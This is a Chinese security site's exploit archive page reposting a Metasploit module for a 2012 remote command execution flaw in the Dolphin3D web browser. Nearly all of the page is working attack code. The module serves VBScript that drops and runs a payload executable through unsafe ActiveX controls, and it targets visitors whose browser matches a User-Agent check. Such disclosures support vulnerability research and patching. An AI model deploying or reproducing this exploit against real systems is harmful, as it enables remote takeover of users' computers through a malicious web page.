首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Dolphin3D 1.52 / 1.60 Command Execution Vulnerability
来源:http://www.metasploit.com 作者:Rh0 发布时间:2012-12-11  
##
#
# Dolphin3D web browser ActiveX Remote Command Execution
#
# Date: Dez 9 2012
# Author: Rh0
# Affected Version: Dolphin3D 1.52 and 1.60
# Tested on: Windows XP Professional SP3 EN
#
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {}) 
        super(update_info(info,
            'Name'           => 'Dolphin3D web browser ActiveX Exec',
            'Description'    => %q{ 
                    This module exploits the default security setting in the
                Dolphin3D web browser. The default security setting ("cautious")
                allows arbitrary ActiveX Controls, thus remote command execution.
                           },
                ## NOTE: There exists a higher security setting called "jungle-safe".
                ## It disables javascript/vbscript completely, which is the
                ## the only measure to forbit unsafe ActiveX Objects.
                ## bug vs. feature :) see: http://www.dolphin3d.com/safest.html
            'Author'         =>  
                [   
                    'Rh0 <rh0[at]z1p.biz>',  # discovery and metasploit module
                ],
            'Targets'        =>  
                [   
                    [ 'Windows - Dolphin3D Browser 1.52 and 1.60',
                        {   
                            'Platform' => 'win',
                            'Arch' => ARCH_X86
                        }   
                    ],  
                ], 
            'DefaultTarget'  => 0,
            'Platform'       => ['win'],
            'DisclosureDate' => "Dez 9 2012"
        ))
    end

    def on_request_uri(cli,request)
        agent = request.headers['USER-AGENT']
        if request.uri =~ /\.ico/
            print_status("Ignoring request for #{request.uri}")
            send_not_found(cli)
        ## dolphin user agent ends with "Avant Browser)"
        ## could conflict with Avant Browser, see
        ## http://www.useragentstring.com/_uas_Avant%20Browser_version_.php)
        elsif agent =~ /Avant Browser\)$/
            print_status("Sending vbs payload")
            send_response(cli,exe_script,{"Content-Type" => "text/html"})
        else
            print_status("Ignoring request from #{agent}")
            send_not_found(cli)
        end
    end

    def exe_script()
        exe = generate_payload_exe()
        vbs = Msf::Util::EXE.to_exe_vbs(exe)
        #vbs = 'CreateObject("wscript.shell").run"calc",1,false'    # PoC
        return "<script language=vbscript>#{vbs}</script>"
        
    end
end 

					

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TVMOBiLi 2.1.0.3557 Denial of
·Centrify Deployment Manager v2
·HP Data Protector DtbClsLogin
·Android Kernel 2.6 Local DoS C
·CVE-2012-0217 Intel sysret exp
·Sumatra 2.1.1/MuPDF 1.0 Intege
·Smartphone Pentest Framework 0
·Free Float FTP Server USER Com
·Microsoft windows remote deskt
·Nagios XI Network Monitor Grap
·Microsoft Internet Explorer 6-
·DIMIN Viewer 5.4.0 <= WriteAV
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved